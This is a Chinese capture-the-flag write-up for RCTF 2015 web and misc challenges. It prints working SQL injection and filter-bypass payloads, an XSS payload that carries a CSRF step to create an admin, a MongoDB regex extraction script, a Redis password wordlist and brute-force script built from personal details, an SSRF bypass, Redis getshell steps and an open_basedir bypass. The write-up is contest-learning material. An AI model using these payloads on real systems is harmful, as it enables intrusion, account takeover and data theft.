RCTF2015_writeup
这次的rctf貌似是第一次举办,而且还是所属xctf,所以出现了好多大牛队伍,题目脑洞大还要强行增加难度(估计出题人已经把能想到的问题全部扔上去了),也不知道是受了什么的刺激,不管怎么样,还是从一大堆注入题目中学习了不少没见过的注入姿势,留下writeup…
WEB
WEB 100 upload (文件名 insert injection)
打开页面是这样的,稍微试试,发现并不是upload,上传成功之后会发现会显示上传的文件名,所以想到应该是insert injection,过滤了and, select, union, from, sleep, benchmark, substring这样的,但是可以通过scrscriptipt这样的方式绕过。 开始尝试的很多方式都没有回显,所以放弃了,后来看到writeup才明白,表中的结构大概是 ‘文件名’,’uid’,’uid’ 而uid返回的都是数字,所以如果没有在对应的位置的话的确不会出现回显,当然如果强行返回数字,也是可以,但是有个验证码存在,所以需要很长很长时间才能得到flag,不过得到正确的表结构就很简单了。
文件名','uid','uid'),((database()),'uid','uid')
按照这样的方式下去,慢慢就能get flag
WEB 150 weeeeeb3 (修改密码逻辑漏洞 ip伪造 上传绕过)
题目是这样的,稍微翻翻发现在修改密码的地方存在两部,第一步判断成功后进入第二步修改密码
在这里可以抓包并修改admin的密码,开始还以为无效,后来发现是登陆的人太多了,所以必须跑脚本才能成功。
登陆上去后,点message提示ip不对,于是去修改xff(X-Forward-For)和ci(Cilet ip),登陆后提示 <!– index.php?module=filemanage&do=???–> 这里一通乱试发现upload成功了,出现了一个上传页面,这里居然还没有结束,好烦只能继续… 随便上传试试,发现什么都没有提示 You know what I want! 既然这样就是是php 提示Something shows it is a php! 后来试了试怎么都过不了<?所以放弃了,看writeup学到个黑科技 phpinfo() (这都可以。。。)get flag
WEB 150 easysql (显错注入 花式bypass)
题目登陆后是这样的
发现注册时候加入“后,修改密码报错 一下子了然了,是显错注入,过滤rand @ ` 空格 order /*/ /! */ %20 %09 %0a %0b %0c %0d 也就是传统的显错方式不可以,还过滤了各式各样的空格,所以limit也不能使用,这里先给出payload,后面再另写文章关于显错注入。
username=ddog"||updatexml(0x7c,concat((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^R'))),1)#&password=123&email=123
WEB 300 xss (link 标签黑科技)
过滤了炒鸡多标签,这次还过滤了大小写和url编码,所以就要找写没有被过滤的特殊标签了,开始想到的是svg,但是basa64编码过的总是出现on被过滤,而且只存在在firefox,而题目要求chrome所以有点儿雪崩,后来看了writeup,知道了link这个黑科技。
<link rel="import" href="data:text/html;base64,PHNjcmlwdD5kZWxldGUgYWxlcnQ7YWxlcnQoIkhlbGxvIik7PC9zY3JpcHQ+">
这样就可以弹窗了,翻翻源码,发现是要把消息发给admin,然后以amdin账号注册账号,典型的csrf。
<!--only for admin
<form action="" method="post">
username:<input type="text" name="name"><br />
password:<input type="password" name="pass"><br />
<input type="radio" name="isadmin" value="0">user
<input type="radio" name="isadmin" value="1">admin<br />
<input type="hidden" name="token" value="34a1615ff3eaf616f7fa205a12792d27">
<input type="submit" name="adduser" value="adduser">
</form>-->
在writeup中是直接通过jq写个post请求添加
<script src=http://180.76.178.54:8004/4b79f5d4860384d4ac494ad91f5313b7/js/jquery.js></script>
<script>
$.ajax({
type: "post",
url: "",
data: "name=tomato123&pass=tomato123&isadmin=1&adduser=adduser&token="+$("input[name=token]").val()})
</script>
然后构造payload
<link rel="import" href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovLzE4MC43Ni4xNzguNTQ6ODAwNC80Yjc5ZjVkNDg2MDM4NGQ0YWM0OTRhZDkxZjUzMTNiNy9qcy9qcXVlcnkuanM+PC9zY3JpcHQ+CjxzY3JpcHQ+CiQuYWpheCh7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAicG9zdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cmw6ICIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YTogIm5hbWU9dG9tYXRvMTIzJnBhc3M9dG9tYXRvMTIzJmlzYWRtaW49MSZhZGR1c2VyPWFkZHVzZXImdG9rZW49IiskKCJpbnB1dFtuYW1lPXRva2VuXSIpLnZhbCgpfSkKPC9zY3JpcHQ+">
找到admin.php,然后登陆得到flag
WEB 300 login (mongodb注入加不拉不拉一堆坑)
这里直接卡在第一步,虽然听过这样的注入,但是还是没研究过,先贴上关于mongodb注入的资料 http://drops.wooyun.org/tips/3939 跑出账号的脚本长这样(看不懂,先留着)
<?php
ini_set("max_execution_time", 100);
echo 'start<br />';
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,'http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/checkLogin.php');
curl_setopt ($ch, CURLOPT_HTTPHEADER , array("X-Requested-With: XMLHttpRequest"));
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);
$ori = '0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM_';
$str = '';
for ($i=0; $i <40 ; $i++) {
if($i > (strlen($str)+1) )
break;
for ($j=0; $j <strlen($ori) ; $j++) {
$post = 'username[$regex]=/^'.$str.$ori[$j].'.*/&password[$ne]=admin';
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
$data=curl_exec($ch);
if (strlen($data) == 104) {
$str.=$ori[$j];
break;
}
}
}
$username = $str;
$str = '';
for ($i=0; $i <40 ; $i++) {
if($i > (strlen($str)+1) )
break;
for ($j=0; $j <strlen($ori) ; $j++) {
$post = 'username='.$username.'&password[$regex]=/^'.$str.$ori[$j].'.*/';
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
$data=curl_exec($ch);
if (strlen($data) == 104) {
$str.=$ori[$j];
break;
}
}
}
$password = $str;
echo 'username='.$username."<br />";
echo 'password='.$password."<br />";
echo 'end!';
?>
得到账号密码ROIS_ADMIN pas5woRd_i5_45e2884c4e5b9df49c747e1d 登陆后是这样的
下载备份文件,发现是一个php的解压zip的类,然后百度找到官方提供的,在diff一下 源码里发现
$Agent = $_SERVER['HTTP_USER_AGENT'];
$backDoor = $_COOKIE['backdoor'];
$msg = json_encode("no privilege");
$iterations = 1000;
$salt = "roisctf";
$alg = "sha1";
$keylen = "20";
if ($Agent == $backDoor || strlen($Agent) != 65) {
exit($msg);
}
if (substr($Agent,0,23) != "rois_special_user_agent") {
exit($msg);
}
if (pbkdf2($alg, $Agent, $salt, $iterations, $keylen) != pbkdf2($alg, $backDoor, $salt, $iterations, $keylen)) {
exit($msg);
}
测试发现直接上传zip提示没有权限,然后只有过了上面三个条件才行。主要是第三个条件不好过,然后google一发 pdkdf2 ctf
找到了这个 PBKDF2+HMAC collision 然后在https://mathiasbynens.be/notes/pbkdf2-hmac 这篇文章里面说到这个是可以碰撞的,就是不同的明文会出现相同的密文,然后用里面提供的脚本跑一发。成功跑出来一个
rois_special_user_agentaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamipvkd
3-Rfm^Bq;ZZAcl]mS&eE
然后改一下ua,在cookie里面添加backdoor就可以成功上传了
按照解压出来的文件的命名规则为md5(文件名+RoisFighting).文件的后缀 但是访问http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/upload/image/051ee28a1964f9f2779d32f2e48212cb/70d08f9380da3a6e0440b3266a2a39f6.php 文件并不存在,测试发现在解压后会直接删除文件,所以我们可以尝试构造一个解压到上级目录的shell
后面的反正是看不懂,就都扔上去了
WEB 500 糊上来官方的writeup
1.通过目录猜解1.sql数据备份文件可以知道,admin用户的密码就是admin,username字段长度16,password字段长度32。 通过测试,可以利用长字符截断admin 1(长度大于16),admin 1(长度大于32),绕过admin不能登录的限制。
2.登录后台,是admin的信息,查看源码,根据提示,即通过社工。即要破解某个服务的密码。nmap扫描,得到redis服务的端口。即要爆破redis的密码。
3.写脚本,爆破redis密码,由上面admin的信息内容,通过查找社工库得到gmail的密码是rkr4me,但这不是他真正的密码。结合其他信息,根据关键字写个脚本生成字典。 生成字典脚本
#!/usr/bin/env python
import itertools
fp = open('social.txt','w')
keyword = ['JiaoXiaoMing', 'jiaoxiaoming', 'jxm', 'Jxm', 'JXM', '19960708', '960708', '0708', 'rkr4me']
for i in range(1,9):
for e in itertools.permutations(keyword, i):
st = ''.join(e)
fp.write(st+'\n')
fp.close()
爆破密码脚本
#!/usr/bin/env python
import redis
fo = open('social.txt', 'r')
for line in fo.readlines():
line = line.strip('\n').strip()
r = redis.Redis(host='180.76.178.50', port=6379, db=0, password=line)
try:
r.info()
except Exception,e:
#print e
continue
else:
print line
break
最后爆破出来的密码是Jxm0960708rkr4me
4.连上redis,redis getshell需要网站路径。则想办法获取网站路径,网站路径报错没有回显,那就要额外的方法了。网站也没有phpinfo文件,然后通过login.php~备份文件获取到了internal.php这个路径,但是无法访问,根据内部测试系统,可能是限制ip。那通过伪造Client-ip: 127.0.0.1进入了internal.php页面,有个测试接口。
自然想到了csrf,csrf过滤了一些内容,不断调试,构造payload,得到http://a@127.0.0.1.xip.io:80此类的构造,也就是要有xxx@,xip.io:端口,这样才能绕过过滤(前面有些bug,被各路大牛更轻易绕过)。然后通过csrf扫描端口和路径,得到8080端口,payload是这样的http://abc@127.0.0.1.xip.io:8080/index.php 得到里面的部署提示,实际网站部署在he1m4n6a目录下,根据8080首页即phpinfo内容,得到网站真实路径/var/www/rois/he1m4n6a
5.Redis 设置好路径,getshell后,发现无法访问根目录。应该是openbase_dir设置的,那就上传一个文件绕过openbase_dirphp文件,列出更目录所有文件,得到根目录的一个文件名rctf{xxx},便是flag
<?php $file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f) {
echo file_get_contents({$f});
echo "{$f}<br/>";
}
?>
6.服务器后台自动运行脚本,每隔一段时间会删除无关文件,所以你得写脚本不断上传webshell,或者webshell写入内存中,或者手速快的就好了。。
MISC
MISC 10
360出过的花键盘,没什么意思,还出了几个假flag,实话说这种手段特别无聊,还影响人
MISC 50 日志分析
蛮有意思的题目,开始已经在想是不是要东西,后来发现其实是sqlmap跑密码的日志,根据日志可以分析出flag 附上脚本
import urllib
log = open('log_flag.log','r')
log2 = open('log_flag_urldecode2.log','w')
for eachLine in log:
pos = eachLine.find('id=')
result = urllib.unquote(eachLine[pos+3:])
if result.find('!=') != -1:
log2.write(result[result.find('!=')+2:result.find('),S')] + ',')
log.close()
log2.close()
MISC 100 (花式脑洞密文)
没记错的话打开是张图片,开始以为是有隐写,后来在网上找到了原图,对比发现毛区别都没有,只有在EXIF信息中找到 GMYDGMJTGEZTCMZQGMYDGMJTGEZTAMZRGMYTGMJTGEZTCMZRGMYTGMBTGAZTAMZRGMYDGMJTGEZTCMZRGMYTGMBTGAZTCMZQGMYDGMJTGAZTCMZRGMYTGMBTGEZTCMZRGMYTGMJTGEZTAMZRGMYTGMBTGAZTCMZQGMYTGMBTGAZTAMZRGMYTGMBTGEZTCMZRGMYDGMJTGEZTCMZQGMYTGMJTGAZTAMZRGMYDGMJTGEZTCMZQGMYTGMBTGEZTAMZQGMYTGMBTGAZTCMZQGMYTGMJTGEZTCMZQGMYDGMBTGEZTCMZRGMYDGMJTGAZTCMZQGMYTGMBTGAZTCMZQGMYDGMJTGAZTCMZRGMYDGMBTGAZTCMZRGMYTGMBTGEZTCMZQGMYTGMBTGAZTCMZQGMYDGMBTGEZTAMZRGMYTGMBTGEZTAMZRGMYTGMJTGAZTCMZQGMYDGMJTGAZTCMZQGMYTGMJTGEZTAMZRGMYTGMBTGAZTCMZQGMYTGMJTGEZTCMZQGMYDGMBTGEZTAMZQGMYTGMJTGEZTAMZRGMYDGMJTGEZTAMZRGMYDGMJTGAZTCMZRGMYDGMBTGEZTAMZQGMYTGMBTGAZTCMZQGMYTGMJTGEZTAMZRGMYTGMJTGAZTAMZRGMYTGMJTGEZTCMZQGMYDGMJTGAZTAMZRGMYDGMJTGAZTAMZQGMYTGMJTGEZTAMZRGMYTGMBTGAZTCMZQGMYTGMJTGEZTAMZRGMYTGMJTGAZTCMZRGMYDGMJTGEZTCMZQGMYDGMJTGAZTAMZRGMYDGMJTGAZTAMZRGMYDGMBTGAZTCMZRGMYTGMJTGAZTCMZQGMYTGMBTGEZTCMZQGMYDGMJTGAZTCMZQGMYDGMBTGAZTCMZQGMYDGMJTGEZTAMZR
开始一直以为是payfair全大写字母加密,后来发现其实是base32,接出来是一对3130.再解一次hex,得到01字符串 0111001101111111000101111100100101110111111011001010001101110111011001011101010010010111100011101010100100101100011101101001000101101011101001010111011001011110001001110101101010110010010010111011100111110010010100011101100101110111011011100100101001000111101010110010100001001101 可惜280位,没办法开方,所以应该不是二维码,想到7位一组,但是因为字符集不可定,所以最后没解出来,最后等等writeup吧
相关文章
- 在 Go 里用 CGO?这 7 个问题你要关注!
- 9款优秀的去中心化通讯软件 Matrix 的客户端
- 求职数据分析,项目经验该怎么写
- 在OKR中,我看到了数据驱动业务的未来
- 火山引擎云原生大数据在金融行业的实践
- OpenHarmony富设备移植指南(二)—从postmarketOS获取移植资源
- 《数据成熟度指数》报告:64%的企业领袖认为大多数员工“不懂数据”
- OpenHarmony 小型系统兼容性测试指南
- 肯睿中国(Cloudera):2023年企业数字战略三大趋势预测
- 适用于 Linux 的十大命令行游戏
- GNOME 截图工具的新旧截图方式
- System76 即将推出的 COSMIC 桌面正在酝酿大变化
- 2GB 内存 8GB 存储即可流畅运行,Windows 11 极致精简版系统 Tiny11 发布
- 迎接 ecode:一个即将推出的具有全新图形用户界面框架的现代、轻量级代码编辑器
- loongarch架构介绍(三)—地址翻译
- Go 语言怎么解决编译器错误“err is shadowed during return”?
- 敏捷:可能被开发人员遗忘的部分
- Denodo预测2023年数据管理和分析的未来
- 利用数据推动可持续发展
- 在 Vue3 中实现 React 原生 Hooks(useState、useEffect),深入理解 React Hooks 的